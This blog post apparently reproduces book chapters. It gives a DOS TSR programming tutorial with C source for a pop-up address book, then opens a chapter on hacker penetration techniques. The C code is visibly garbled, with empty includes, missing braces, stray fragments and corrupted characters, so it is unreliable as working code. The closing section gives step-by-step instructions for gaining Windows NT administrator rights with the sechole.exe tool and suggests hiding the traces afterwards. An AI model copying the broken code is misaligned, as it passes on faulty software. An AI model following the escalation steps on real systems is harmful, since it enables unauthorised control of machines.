Sunday, December 6, 2009

TSR Programming

The final objective in learning C fundamentals, especially pertaining to security programs, is the all-powerful terminate and stay resident (TSR) programming. Programs that remain running and resident in memory, while other programs are running, are among the most exciting programming feats for many developers and hackers to boot.



The difficulties in programming TSRs comes from the limitations of DOS which is not truly a multitasking operating system, and does not react well to reentrant code, that is, its own functions (interrupts) calling upon themselves. In theory a TSR is quite simple. It is an ordinary program that terminates through the DOS ''keep" function—interrupt 27h—not through the usual DOS terminate function. This function reserves an area of memory, used by the program, so that no other programs will overwrite it. This in itself is not a very difficult task, except that the program needs to tell DOS how much memory to leave.



The problems stem mainly from not being able to use DOS function calls within the TSR program once it has "gone resident." Following a few basic rules will help to minimize the problems encountered in programming TSRs:

Avoid DOS function calls.

Monitor the DOS busy flag; when this flag is nonzero, DOS is executing an interrupt 21h function and must not be disturbed!

Monitor interrupt 28h. This reveals when DOS is busy waiting for console input. At this time, you can disturb DOS, regardless of the DOS busy flag setting.

Provide some way of checking whether the TSR is already loaded to prevent multiple copies occurring in memory.

Remember that other TSR programs may be chained to interrupts, and so you must chain any interrupt vectors that your program needs.

Your TSR program must use its own stack, not that of the running process.

TSR programs must be compiled in a small memory model with stack checking turned off.

When control passes to your TSR program, it must tell DOS that the active process has changed.



The following three source code modules describe a complete TSR program. This is a useful pop-up address book database, which can be activated while any other program is running by pressing the key combination Alt and period (.). If the address book does not respond to the keypress, it is probably because DOS cannot be disturbed; in that case, try to pop-it-up again:



/*

A practical TSR program (a pop-up address book database) Compile in small memory model with stack checking OFF

*/



#include

#include

#include

#include

static union REGS rg;



Size of the program to remain resident

experimentation is required to make this as small as possible

*/

unsigned sizeprogram = 28000/16;



/* Activate with Alt . */
unsigned scancode = 52; /* . */
unsigned keymask = 8; /* ALT */







char signature[]= "POPADDR";

char fpath[40];



/*

Function prototypes

*/



void curr_cursor(int *x, int *y);

int resident(char *, void interrupt(*)());

void resinit(void);

void terminate(void);

void restart(void);

void wait(void);

void resident_psp(void);

void exec(void);



/*

Entry point from DOS

*/



main(int argc, char *argv[])

{

void interrupt ifunc(); int ivec;



/*

For simplicity, assume the data file is in the root directory of drive C:

*/

strcpy(fpath,"C:\\ADDRESS.DAT");

if ((ivec = resident(signature,ifunc)) != 0) {

/* TSR is resident */

if (argc > 1)

{

rg.x.ax = 0;

if (strcmp(argv[1],"quit") == 0)

rg.x.ax = 1; else if (strcmp(argv[1],"restart") == 0)

rg.x.ax = 2; else if (strcmp(argv[1],"wait") == 0) rg.x.ax = 3;

if (rg.x.ax) {

int86(ivec,&rg,&rg); return;

}

}

printf("\nPopup Address Book is already resident");



}

else {

/* Initial load of TSR program */

printf("Popup Address Book Resident.XnPress Alt . To Activate... An");

resinit();

}

}



void interrupt ifunc(bp,di,si,ds,es,dx,cx,bx,ax)

{

if(ax == 1)

terminate(); else if(ax == 2)

restart(); else if(ax == 3)

wait();

}



popup()

{

int x,y;



curr_cursor(&x,&y);



/* Call the TSR C program here */

exec();

cursor(x,y);

}

/*

Second source module

*/



#include #include



static union REGS rg; static struct SREGS seg; static unsigned mcbseg; static unsigned dosseg; static unsigned dosbusy; static unsigned enddos; char far *intdta; static unsigned intsp;

static unsigned intss; static char far *mydta; static unsigned myss; static unsigned stack;



static unsigned ctrl_break; static unsigned mypsp; static unsigned intpsp; static unsigned pids[2]; static int pidctr = 0; static int pp;

static void interrupt (*oldtimer)(); static void interrupt (*old28)(); static void interrupt (*oldkb)(); static void interrupt (*olddisk)(); static void interrupt (*oldcrit)();



void interrupt newtimer();

void interrupt new28();

void interrupt newkb();

void interrupt newdisk();

void interrupt newcrit();



extern unsigned sizeprogram; extern unsigned scancode; extern unsigned keymask;



static int resoff = 0; static int running = 0; static int popflg = 0; static int diskflag = 0; static int kbval; static int cflag;



void dores(void); void pidaddr(void);



void resinit()

{

segread(&seg); myss = seg.ss;



rg.h.ah = 0x34; intdos(&rg,&rg); dosseg = _ES; dosbusy = rg.x.bx;



mydta = getdta(); pidaddr();

oldtimer = getvect(0x1c);

old28 = getvect(0x28);

oldkb = getvect(9); olddisk = getvect(0x13);

setvect(0x1c,newtimer);



setvect(9,newkb);

setvect(0x28,new28);

setvect(0x13,newdisk);



stack = (sizeprogram - (seg.ds - seg.cs)) * 16 - 300; rg.x.ax = 0x3100; rg.x.dx = sizeprogram; intdos(&rg,&rg);

}



void interrupt newdisk(bp,di,si,ds,es,dx,cx,bx,ax,ip,cs,flgs)

{

diskflag++;

(*olddisk)(); ax = _AX; newcrit(); flgs = cflag; --diskflag;

}



void interrupt newcrit(bp,di,si,ds,es,dx,cx,bx,ax,ip,cs,flgs)

{

ax = 0; cflag = flgs;

}



void interrupt newkb()

{

if (inportb(0x60) == scancode) {

kbval = peekb(0,0x417);

if (!resoff && ((kbval & keymask) A keymask) == 0) {

kbval = inportb(0x61); outportb(0x61,kbval | 0x80); outportb(0x61,kbval); disable();

outportb(0x20,0x20);

enable(); if (!running) popflg = 1; return;

}

}

(*oldkb)();

}



void interrupt newtimer()

{

(*oldtimer)();

if (popflg && peekb(dosseg,dosbusy) == 0) if(diskflag == 0) {

outportb(0x20,0x20); popflg = 0; dores();

}

}



void interrupt new28()

{

(*old28)();

if (popflg && peekb(dosseg,dosbusy) != 0) {

popflg = 0; dores ();

}

}



resident_psp()

{

intpsp = peek(dosseg,*pids); for(pp = 0; pp < pidctr; pp++) poke(dosseg,pids[pp],mypsp);

}



interrupted_psp()

{

for(pp = 0; pp < pidctr; pp++) poke(dosseg,pids[pp],intpsp);

}



void dores()

{

running = 1; disable(); intsp = _SP; intss = _SS; _SP = stack; _SS = myss; enable();

oldcrit = getvect(0x24); setvect(0x24,newcrit); rg.x.ax = 0x3300; intdos(&rg,&rg); ctrl_break = rg.h.dl; rg.x.ax = 0x3301; rg.h.dl = 0; intdos(&rg,&rg); intdta = getdta();



setdta(mydta);

resident_psp();

popup();

interrupted_psp();

setdta(intdta);

setvect(0x24,oldcrit);

rg.x.ax = 0x3301;

rg.h.dl = ctrl_break;

intdos(&rg,&rg);

disable();

_SP = intsp;

_SS = intss;

enable();

running = 0;

}



static int avec = 0;



unsigned resident(char *signature,void interrupt(*ifunc)())

{

char *sg; unsigned df; int vec;



segread(&seg);

df = seg.ds-seg.cs;

for(vec = 0x60; vec < 0x68; vec++)

{

if (getvect(vec) == NULL) {

if (!avec)

avec = vec; continue;

}

for(sg = signature; *sg; sg++)

if (*sg != peekb(peek(0,2+vec*4)+df,(unsigned)sg)

break; if (!*sg)

return vec;

}

if (avec)

setvect(avec,ifunc); return 0;

}



static void pidaddr()

{

unsigned adr = 0;



rg.h.ah = 0x51;



intdos(&rg,&rg); mypsp = rg.x.bx; rg.h.ah = 0x52; intdos(&rg,&rg); enddos = _ES;

enddos = peek(enddos,rg.x.bx-2);

while(pidctr < 2 && (unsigned)((dosseg<<4) + adr) < (enddos <<4))

{

if (peek(dosseg,adr) == mypsp)

{

rg.h.ah = 0x50; rg.x.bx = mypsp + 1; intdos(&rg,&rg);

if (peek(dosseg,adr) == mypsp + 1)

pids[pidctr++] = adr; rg.h.ah = 0x50; rg.x.bx = mypsp; intdos(&rg,&rg);

}

adr++;

}

}



static resterm()

{

setvect(0x1c,oldtimer); setvect(9,oldkb);

setvect(0x28,old28);

setvect(0x13,olddisk);

setvect(avec,(void interrupt (*)()) 0); rg.h.ah = 0x52; intdos(&rg,&rg); mcbseg = _ES;

mcbseg = peek(mcbseg,rg.x.bx-2); segread(&seg);

while(peekb(mcbseg,0) == 0x4d) {

if(peek(mcbseg,1) == mypsp) {

rg.h.ah = 0x49; seg.es = mcbseg+1; intdosx(&rg,&rg,&seg);

}

mcbseg += peek(mcbseg,3) + 1;

}

}



terminate()

{

if (getvect(0x13) == (void interrupt (*)()) newdisk)



if (getvect(9) == newkb) if(getvect(0x28) == new28)

if(getvect(0x1c) == newtimer) {

resterm(); return;

}

resoff = 1;

restart()

{

resoff = 0;

}



wait()

{

resoff = 1;

}



void cursor(int y, int x)

{

rg.x.ax = 0x0200; rg.x.bx = 0;

rg.x.dx = ((y << 8) & 0xff00) + x; int86(16,&rg,&rg);

}



void curr_cursor(int *y, int *x)

{

rg.x.ax = 0x0300; rg.x.bx = 0; int86(16,&rg,&rg); *x = rg.h.dl; *y = rg.h.dh;

}

/*

Third module, the simple pop-up address book with mouse support

*/



#include #include #include #include #include #include #include #include



#include #include



/* left cannot be less than 3 */ #define left 4



/* Data structure for records */ typedef struct

{

char name[31]; char company[31]; char address[31]; char area[31];

char town[31]; char county[31]; char post[13]; char telephone[16]; char fax[16];

}

data;



extern char fpath[];



static char scr[4000];



static char sbuff[2000];

char stext[30]; data rec; int handle; int recsize;

union REGS inreg,outreg;



/*

Function prototypes

*/

void FATAL(char *); void OPENDATA(void); void CONTINUE(void); void EXPORT_MULTI(void);

void GETDATA(int); int GETOPT(void); void DISPDATA(void); void ADD_REC(void); void PRINT_MULTI(void);

void SEARCH(void); void MENU(void);



int GET_MOUSE(int *buttons)

{

inreg.x.ax = 0;



int86(0x33,&inreg,&outreg); *buttons = outreg.x.bx; return outreg.x.ax;

}



void MOUSE_CURSOR(int status)

{

/* Status = 0 cursor off */
/* 1 cursor on */



inreg.x.ax = 2 - status; int86(0x33,&inreg,&outreg);

}



int MOUSE_LOCATION(int *x, int *y)

inreg.x.ax = 3; int86(0x33,&inreg,&outreg);



*x = outreg.x.cx / 8; *y = outreg.x.dx / 8;



return outreg.x.bx;

}

int GETOPT() {

int result; int x; int y;



do {

do {

result = MOUSE_LOCATION(&x,&y);

if (result & 1)

{

if (x >= 52 && x <= 53 && y >= 7 && y <= 15)

return y - 7; if (x >= 4 && x <= 40 && y >= 7 && y <= 14)

return y + 10;



if (x >= 4 && x <= 40 && y == 15) return y + 10;

}

}

while(!bioskey(1)); result = bioskey(0); x = result & 0xff;

if (x == 0)

{

result = result >> 8; result -= 60;

}

}

while(result < 0 || result > 8); return result;

}



void setvideo(unsigned char mode)

{

/* Sets the video display mode and clears the screen */



inreg.h.al = mode; inreg.h.ah = 0x00; int86(0x10, &inreg, &outreg);

int activepage(void) {

/* Returns the currently selected video display page */



union REGS inreg,outreg;



inreg.h.ah = 0x0F; int86(0x10, &inreg, &outreg); return(outreg.h.bh);

}



void print(char *str)

{

/*

Prints characters only directly to the current display page starting at the current cursor position. The cursor is not advanced.

This function assumes a COLOR display card. For use with a monochrome display card change 0xB800 to read 0xB000

*/

int page; int offset; unsigned row; unsigned col; char far *ptr;



page = activepage(); curr_cursor(&row,&col);



offset = page * 4000 + row * 160 + col * 2;



ptr = MK_FP(0xB800,offset);

while(*str) {

*ptr++= *str++; ptr++;

}

}



void TRUESHADE(int lef, int top, int right, int bottom)

{

int n;



/* True Shading of a screen block */



gettext(lef,top,right,bottom,sbuff); for(n = 1; n < 2000; n+= 2)

sbuff[n] = 7; puttext(lef,top,right,bottom,sbuff);

/* Draws a double line box around the described area */ int n;

r - l; n++)

n);

cursor(t,l); print("E"); for(n = 1; n < {

cursor(t,l +

print("I");

}

cursor(t,r); print("»");



for (n = t + 1; n < b; n++) {

cursor(n,l); print("°"); cursor(n,r); print("°");

}

cursor(b,l); print("E");

for(n = 1; n < r - l; n++)



{

cursor(b,l+n); print("I");

}

cursor(b,r);

print("1/4");

}



int INPUT(char *text,unsigned length)

{

/* Receive a string from the operator */



unsigned key_pos; int key;

unsigned start_row; unsigned start_col; unsigned end; char temp[80]; char *p;



curr_cursor(&start_row,&start_col);



key_pos = 0;

end = strlen(text);

for(;;)

{

key = bioskey(0);

if ((key & 0xFF) == 0)

{

key = key >> 8;

if (key == 79)

{

while(key_pos < end) key_pos++;

cursor(start_row,start_col + key_pos);

}

else

if (key == 71)

{

key_pos = 0;

cursor(start_row,start_col);

}

else

if ((key == 75) && (key_pos > 0))

{

key_pos-- ;

cursor(start_row,start_col + key_pos);

}

else

if ((key == 77) && (key_pos < end)) {

key_pos++;

cursor(start_row,start_col + key_pos);

}

else

if (key == 83)

{

p = text + key_pos;

while(*(p+1))

{

*p = *(p+1);

p++;

}

*p = 32;

if (end > 0)

end-- ;

cursor(start_row,start_col); cprintf(text);

cprintf(" ");

if ((key_pos > 0) && (key_pos == end))

key_pos -- ; cursor(start_row,start_col + key_pos);

}

}

else

{

key = key & 0xFF;

if (key == 13 || key == 27)

break; else

if ((key == 8) && (key_pos > 0)) {

end--; key_pos—;

text[key_pos—] = '\0';

strcpy(temp,text);

p = text + key_pos + 2;

strcat(temp,p);

strcpy(text,temp);

cursor(start_row,start_col);

cprintf("%-*.*s",length,length,text);

key_pos++;

cursor(start_row,start_col + key_pos);

}

else

if ((key > 31) && (key_pos < length) && (start_col + key_pos < 80))

{

if (key_pos <= end) {



p = text + key_pos; memmove(p+1,p,end - key_pos); if (end < length)

end++; text[end] = '\0';

}

text[key_pos++] = (char)key;

if (key_pos > end)

{

end++;

text[end] = '\0';

}

cursor(start_row,start_col); cprintf("%-*.*s",length,length,text); cursor(start_row,start_col + key_pos);

}

}

}

text[end] = '\0'; return key;

}



void FATAL(char *error)

{

/* A fatal error has occured */ printf ("\nFATAL ERROR: %s",error);

exit(0);

}



void OPENDATA()

{

/* Check for existence of data file and if not create it */

/* otherwise open it for reading/writing at end of file */ handle = open(fpath,O_RDWR,S_IWRITE);

if (handle == -1)

{

handle = open(fpath,O_RDWR|O_CREAT,S_IWRITE);

if (handle == -1)

FATAL("Unable to create data file");

}

/* Read in first rec */ read(handle,&rec,recsize);

}



void CLOSEDATA()

{

close(handle);



}



void GETDATA(int start)

{

/* Get address data from operator */



textcolor(BLACK); textbackground(GREEN); gotoxy(left,8); print("Name "); gotoxy(left,9); print("Company "); gotoxy(left,10); print("Address "); gotoxy(left,11); print("Area "); gotoxy(left,12); print("Town "); gotoxy(left,13); print("County "); gotoxy(left,14); print("Post Code ");

gotoxy(left,15); print("Tel ephone "); gotoxy(left,16); print("Fax ");



switch(start) {

case 0: gotoxy(left + 10,8);

if(INPUT(rec.name,30) == 27)

break;

case 1: gotoxy(left + 10,9);

if(INPUT(rec.company,30) == 27)

break;

case 2: gotoxy(left + 10,10);

if(INPUT(rec.address,30) == 27) break;

case 3: gotoxy(left + 10,11); if(INPUT(rec.area,30) == 27) break;

case 4: gotoxy(left + 10,12); if(INPUT(rec.town,30) == 27) break;

case 5: gotoxy(l eft + 10,13); if(INPUT(rec.county,30) == 27) break;

case 6: gotoxy(left + 10,14); if(INPUT(rec.post,12) == 27) break;



case 7: gotoxy(left + 10,15);

if(INPUT(rec.telephone,15) == 27) break;

case 8: gotoxy(left + 10,16); INPUT(rec.fax,15); break;

}

textcolor(WHITE);

textbackground(RED);

gotoxy(left + 23,21);

print(" ");

}



void DISPDATA()

{

/* Display address data */ textcolor(BLACK); textbackground(GREEN); cursor(7,3);

cprintf("Name %-30.30s",rec.name); cursor(8,3);

cprintf("Company %-30.30s",rec.company); cursor(9,3);

cprintf("Address %-30.30s",rec.address); cursor(10,3);

cprintf("Area %-30.30s",rec.area); cursor(11,3);

cprintf("Town %-30.30s",rec.town); cursor(12,3);

cprintf("County %-30.30s",rec.county); cursor(13,3);

cprintf("Post Code %-30.30s",rec.post); cursor(14,3);

cprintf("Telephone %-30.30s",rec.telephone); cursor(15,3);

cprintf("Fax %-30.30s",rec.fax);

}



int LOCATE(char *text)

do

{

/* Read rec into memory */

result = read(handle,&rec,recsize);

if (result > 0)

{

/* Scan rec for matching data */ if (strstr(strupr(rec.name),text) != NULL)



return(1);

if (strstr(strupr(rec.company),text) != NULL) return(1);

if (strstr(strupr(rec.address),text) != NULL) return(1);

if (strstr(strupr(rec.area),text) != NULL) return(1);

if (strstr(strupr(rec.town),text) != NULL) return(1);

if (strstr(strupr(rec.county),text) != NULL) return(1);

if (strstr(strupr(rec.post),text) != NULL) return(1);

if (strstr(strupr(rec.telephone),text) != NULL) return(1);

if (strstr(strupr(rec.fax),text) != NULL) return(1);

}

}

while(result > 0); return(0);

}



void SEARCH()

{

int result;



gotoxy(left,21);

textcolor(WHITE);

textbackground(RED);

cprintf("Enter data to search for "); strcpy(stext,"");

INPUT(stext,30);

if (*stext == 0)

{

gotoxy(left,21);

cprintf("%70c",32);

return;

}

gotoxy(left,21);

textcolor(WHITE);

textbackground(RED);

cprintf("Searching for %s Please Wait... .",stext);

strupr(stext);

/* Locate start of file */

lseek(handle,0,SEEK_SET);

result = LOCATE(stext); if (result == 0)

{

gotoxy(left,21);



cprintf("%70c",32);

gotoxy(left + 27,21);

cprintf("NO MATCHING RECORDS");

gotoxy(left + 24,22);

cprintf("Press RETURN to Continue");

bioskey(0);

gotoxy(left,21);

cprintf("%70c",32);

gotoxy(left,22);

cprintf("%70c",32);

}

else {

lseek(handle,0 - recsize,SEEK_CUR); read(handle,&rec,recsize);

DISPDATA();

}

textcolor(WHITE);

textbackground(RED);

gotoxy(left,21);

cprintf("%70c",32);

textcolor(BLACK);

textbackground(GREEN);

}



void CONTINUE()

{

int result; long curpos;



curpos = tell(handle) - recsize;



result = LOCATE(stext);

textcolor(WHITE); textbackground(RED); if (result == 0) {

gotoxy(left + 24,21);

cprintf("NO MORE MATCHING RECORDS");

gotoxy(left + 24,22);

cprintf("Press RETURN to Continue");

bioskey(0);

gotoxy(left,21);

cprintf("%70c",32);

gotoxy(left,22);

cprintf("%70c",32);

lseek(handle,curpos,SEEK_SET);

read(handle,&rec,recsize);

DISPDATA();

}



else {

lseek(handle,0 - recsize,SEEK_CUR); read(handle,&rec,recsize);

DISPDATA();

}

textcolor(WHITE);

textbackground(RED);

gotoxy(left,21);

cprintf("%70c",32);

gotoxy(left,22);

cprintf(" ");

textcolor(BLACK); textbackground(GREEN);

}



void PRINT_MULTI()

{

data buffer;

char destination[60];

char text[5];

int result;

int ok;

int ok2;

int blanks;

int total_lines;

char *p;

FILE *fp;



textcolor(WHITE); textbackground(RED); gotoxy(left + 23,21);

cprintf("Enter selection criteria");



/* Clear existing rec details */ memset(&rec,0,recsize);



DISPDATA(); GETDATA(0);



textcolor(WHITE);

textbackground(RED);

gotoxy(left,21);

cprintf("Enter report destination PRN");

strcpy(destination,"PRN");

gotoxy(left,22);

cprintf("Enter Address length in lines 18");

strcpy(text,"18");

gotoxy(left + 25,21);

INPUT(destination,40);



gotoxy(left +30,22);

INPUT(text,2);

gotoxy(left,21); cprintf("%72c",32); gotoxy(left,22); cprintf("%72c",32);



total_lines = atoi(text) - 6; if (total_lines < 0) total_lines = 0;



fp = fopen(destination,"w+");

if (fp == NULL)

{

gotoxy(left,21);

cprintf("Unable to print to %s",destination); gotoxy(left,22);

cprintf("Press RETURN to Continue");

bioskey(0);

gotoxy(left,21);

cprintf("%78c",32);

gotoxy(left,22);

cprintf(" ");

}



/* Locate start of file */

lseek(handle,0,SEEK_SET);



do

{

/* Read rec into memory */

result = read(handle,&buffer,recsize);

if (result > 0)

{

ok = 1;

/* Scan rec for matching data */ if (*rec.name)

if (stricmp(buffer.name,rec.name))

ok = 0;

if (*rec.company)

if (stricmp(buffer.company,rec.company))

ok = 0;

if (*rec.address)

if (stricmp(buffer.address,rec.address))

ok = 0;

if (*rec.area)

if (stricmp(buffer.area,rec.area))

ok = 0;

if (*rec.town)

if (stricmp(buffer.town,rec.town)) ok = 0;

if (*rec.county)

if (stricmp(buffer.county,rec.county))

ok = 0;

if (*rec.post)

if (stricmp(buffer.post,rec.post))

ok = 0;

if (*rec.telephone)

if (stricmp(buffer.telephone,rec.telephone))

ok = 0;

if (*rec.fax)

if (stricmp(buffer.fax,rec.fax))

ok = 0;

if (ok) {

blanks = total_lines; p = buffer.name;

ok2 = 0;

while(*p) {

if (*p != 32) {

ok2 = 1;

break;

}

p++;

}

if (!ok2)

blanks++; else

fprintf(fp,"%s\n",buffer.name); p = buffer.company;

ok2 = 0;

while(*p) {

if (*p != 32) {

ok2 = 1;

break;

}

p++;

}

if (!ok2)

blanks++; else

fprintf(fp,"%s\n",buffer.company); p = buffer.address;

ok2 = 0;

while(*p) {

if (*p != 32)

ok2 = 1;

break;

}

p++;

}

if (!ok2)

blanks++; else

fprintf(fp,"%s\n",buffer.address); p = buffer.area;

ok2 = 0;

while(*p)

{

if (*p != 32) {

ok2 = 1;

break;

}

p++;

}

if (!ok2)

blanks++; else

fprintf(fp,"%s\n",buffer.area); p = buffer.town;

ok2 = 0;

while(*p)

{

if (*p != 32) {

ok2 = 1;

break;

}

p++;

}

if (!ok2)

blanks++; else

fprintf(fp,"%s\n",buffer.town); p = buffer.county;

ok2 = 0;



while(*p)

{

if (*p != 32) {

ok2 = 1;



break;

}

p++;

}

if (!ok2)

blanks++; else

fprintf(fp,"%s\n",buffer.county); p = buffer.post;

ok2 = 0;

while(*p) {

if (*p != 32) {

ok2 = 1;

break;

}

p++;

}

if (!ok2)

blanks++; else

fprintf(fp,"%s\n",buffer.post); while(blanks) {

fprintf(fp," \n");

blanks--;

}

}

}

}

while(result > 0); fclose (fp);

lseek(handle,0,SEEK_SET); read(handle,&rec,recsize);

DISPDATA();

}



void EXPORT_MULTI()

{

data buffer;

char destination[60];

int result;

int ok;

FILE *fp;



textcolor(WHITE); textbackground(RED); gotoxy(left + 23,21);

cprintf("Enter selection criteria");



/* Clear existing rec details */ memset(&rec,0,recsize);



DISPDATA();

GETDATA(0);



textcolor(WHITE); textbackground(RED);

gotoxy(left,21);

cprintf("Enter export file address.txt");

strcpy(destination,"address.txt");

gotoxy(left + 18,21);

INPUT(destination,59);

gotoxy(left,21);

cprintf("%70c",32);



fp = fopen(destination,"w+");

if (fp == NULL)

{

gotoxy(left,21);

cprintf("Unable to print to %s",destination); gotoxy(left,22);

cprintf("Press RETURN to Continue");

bioskey(0);

gotoxy(left,21);

cprintf("%78c",32);

gotoxy(left,22);

cprintf(" ");

}

/* Locate start of file */

lseek(handle,0,SEEK_SET);

do

{

/* Read rec into memory */

result = read(handle,&buffer,recsize);

if (result > 0)

{

ok = 1;

/* Scan rec for matching data */ if (*rec.name)

if (stricmp(buffer.name,rec.name))

ok = 0;

if (*rec.company)

if (stricmp(buffer.company,rec.company))

ok = 0;

if (*rec.address)

if (stricmp(buffer.address,rec.address))

ok = 0;

if (*rec.area)

if (stricmp(buffer.area,rec.area))

ok = 0;

if (*rec.town)

if (stricmp(buffer.town,rec.town))

ok = 0;

if (*rec.county)

if (stricmp(buffer.county,rec.county))

ok = 0;

if (*rec.post)

if (stricmp(buffer.post,rec.post))

ok = 0;

if (*rec.telephone)

if (stricmp(buffer.telephone,rec.telephone))

ok = 0;

if (*rec.fax)

if (stricmp(buffer.fax,rec.fax))

ok = 0;

if (ok)

{

fprintf(fp," \"%s\",",buffer.name); fprintf(fp," \"%s\",",buffer.company); fprintf(fp," \"%s\",",buffer.address); fprintf(fp," \"%s\",",buffer.area); fprintf(fp,"\"%s\",",buffer.town); fprintf(fp," \"%s\",",buffer.county); fprintf(fp,"\"%s\",",buffer.post); fprintf(fp," \"%s\",",buffer.telephone); fprintf(fp,"\"%s\"\n",buffer.fax);

while(result > 0); fclose (fp);

lseek(handle,0,SEEK_SET);

read(handle,&rec,recsize);

DISPDATA();

}



void MENU()

{

int option; long result; long end; int new;

do {

cursor(21,26);



print("Select option (F2 - F10)");

cursor(7,52);

print("F2 Next record");

cursor(8,52);

print("F3 Previous record");

cursor(9,52);

print("F4 Amend record");

cursor(10,52);

print("F5 Add new record");

cursor(11, 52);

print("F6 Search");

cursor(12,52);

print("F7 Continue search"); cursor(13,52);

print("F8 Print address labels");

cursor(14,52);

print("F9 Export records");

cursor(15,52);

print("F10 Exit"); MOUSE_CURSOR(1); option = GETOPT(); MOUSE_CURSOR(0);



switch(option)

{

case 0 : /* Next rec */

result = read(handle,&rec,recsize);

if (!result)

{

lseek(handle,0,SEEK_SET);

result = read(handle,&rec,recsize);

}

DISPDATA();

break;



case 1 : /* Previous rec */

result = lseek(handle,0 - recsize * 2,SEEK_CUR); if (result <= -1)

lseek(handle,0 - recsize,SEEK_END); result = read(handle,&rec,recsize);

DISPDATA();

break;



case 2 : /* Amend current rec */ new = 1; if (*rec.name)

new = 0; else

if (*rec.company) new = 0;



else

if (*rec.address)

new = 0; else

if (*rec.area)

new = 0; else

if (*rec.town)

new = 0; else

if (*rec.county)

new = 0; else

if (*rec.post)

new = 0; else

if (*rec.telephone)

new = 0; else

if (*rec.fax)

new = 0; result = tell(handle);

lseek(handle,0,SEEK_END);

end = tell(handle);



/* Back to original position */ lseek(handle,result,SEEK_SET);



/* If not at end of file, && !new rewind one rec */ if (result != end || ! new)

result = lseek(handle,0 - recsize,SEEK_CUR); result = tell(handle); gotoxy(left + 22,21); print(" Enter address details ");

GETDATA(0);

if (*rec.name || *rec.company)

result = write(handle,&rec,recsize); break;



case 3 : /* Add rec */

lseek(handle,0,SEEK_END);

memset(&rec,0,recsize);

DISPDATA();



case 4 : /* Search */

gotoxy(left + 22,21);

print(" "); SEARCH();

break;

case 5 : /* Continue */ gotoxy(left + 22,21);

print(" "); CONTINUE();

break;



case 6 : /* Print */

gotoxy(left + 22,21);

print(" "); PRINT_MULTI();

break;



case 7 : /* Export */

gotoxy(left + 22,21);

print(" "); EXPORT_MULTI();

break;



case 8 : /* Exit */ break;

default: /* Amend current rec */ new = 1; if (*rec.name)

new = 0; else

if (*rec.company)

new = 0; else

if (*rec.address)

new = 0; else

if (*rec.area)

new = 0; else

if (*rec.town)

new = 0; else

if (*rec.county)

new = 0; else

if (*rec.post)

new = 0; else

if (*rec.telephone)

new = 0; else

if (*rec.fax)

new = 0; result = tell(handle);

lseek(handle,0,SEEK_END);

end = tell(handle);



/* Back to original position */ lseek(handle,result,SEEK_SET);



/* If not at end of file, && !new rewind one rec */ if (result != end || ! new)

result = lseek(handle,0 - recsize,SEEK_CUR); result = tell(handle); gotoxy(left + 22,21); print(" Enter address details ");

GETDATA(option - 17);

if (*rec.name || *rec.company)

result = write(handle,&rec,recsize); option = -1; break;

while(option != 8);

void exec()

{

gettext(1,1,80,25,scr);

setvideo(3);

textbackground(WHITE);

textcolor(BLACK);

clrscr();

recsize = sizeof(data); OPENDATA();

TRUESHADE(left,3,79,5); window(left - 2,2 ,78, 4); textcolor(YELLOW); textbackground(MAGENTA); clrscr();

DBOX(left - 3, 1, 77, 3); gotoxy(3,2);

print("Servile Software PC ADDRESS BOOK 5.2 (c) 1994");



TRUESHADE(left,8,left + 43,18); window(left - 2,7 , left + 42, 17);

textcolor(BLACK);

textbackground(GREEN);

clrscr();

DBOX(left - 3, 6, left + 41, 16);



TRUESHADE(left + 48,8,79,18); window(left + 46, 7 , 78, 17);



textbackground(BLUE);

textcolor(YELLOW);

clrscr();

DBOX(left + 45,6,77,16);



TRUESHADE(left ,21,79,24); window(left - 2, 20 , 78, 23);

textbackground(RED);

textcolor(WHITE);

clrscr();

DBOX(left - 3,19,77,22);



window(1,1,80,25);

textcolor(BLACK);

textbackground(GREEN);

DISPDATA();



MENU();



CLOSEDATA();

puttext(1,1,80,25,scr); return;

Conclusion



At this point, we discussed technical positions as they pertain to communication protocols and mediums. We also learned critical hacker discovery and scanning techniques used when planning attacks. Moving on, we studied pertinent internetworking knowledge that formulates a hacker's technology foundation. From there we concluded with a comprehensive introduction to the C programmer's language.



It's now time to consider all we've learned while we explore the different vulnerability penetrations used by hackers to control computers, servers, and internetworking equipment.



Port, Socket, and Service Vulnerability Penetrations



This chapter addresses the different vulnerability penetrations used to substantiate and take advantage of breaches uncovered during the discovery and site scan phases of a security analysis, described in Chapter 5. Hackers typically use these methods to gain administrative access and to break through to, then control computers, servers, and internetworking equipment.



To help you better understand the impact of such an attack on an inadequate security policy, we'll survey real-world penetration cases throughout this chapter.



Hacker's To fully understand the material in this and the rest of the chapters in this book (and Not*1*"* to become the hacker guru), you must have a solid background in programming, specifically how programs function internally. To that end, be sure you thoroughly understand the material in Chapter 7, ''Hacker Coding Fundamentals." You may also want or need to review other programming publications offered at the publisher's Web site, www.wiley.com.



Example Case Synopsis



To begin, we'll investigate a common example of a penetration attack on a Microsoft Windows NT network. By exploiting existing Windows NT services, an application can locate a specific application programming interface (API) call in open process memory, modify the instructions in a running instance, and gain debug-level access to the system. At that point, the attacker now connected, will have full membership rights in the Administrators group of the local NT Security Accounts Manager (SAM) database (as you may know, SAM plays a crucial role in Windows NT account authentication and security).



Let's take a closer look at this infiltration. The following describes how any normal, or nonadministrative user, on a Windows NT network, can instantly gain administrative control by running a simple hacker program. The only requirements are to have a machine running Windows NT 3.51, 4.0, or 5.0 (Workstation or Server) and then to follow four simple steps:

Log in. Log in as any user on the machine, including the Guest account.

Copy files. After logging in, copy the files sechole.exe and admindll.dll onto a hard disk drive in any directory in which you have write and execute access.

Run Sechole.exe. Execute sechole.exe. (It is important to note that after running this program, your system might become unstable or possibly even lock up.)

If necessary, reboot the machine. Presto! The current nonadmin user belongs to the Windows NT Administrators group, meaning that he or she has complete administrative control over that machine.



Hacker's The programs shown in this chapter are available on the CD bundled with this book.

Indeed, if this infiltration were to take place on an unprotected network server, this example could be an IT staff nightmare, especially when used with a log basher (described later in this chapter) to help conceal any trace of the attack. This particular type of penetration is commonly undertaken from within an organization or through remote access via extranets and virtual private networks (VPNs).



At this point, let's move forward to discuss other secret methods and techniques used to exploit potential security holes, both local and remote.



Backdoor Kits



In essence, a backdoor is a means and method used by hackers to gain, retain, and cover their access to an internetworking architecture (i.e., a system).



More generally, a backdoor refers to a flaw in a particular security system. Therefore, hackers often want to preserve access to systems that they have penetrated even in the face of obstacles such as new firewalls, filters, proxies, and patched vulnerabilities.



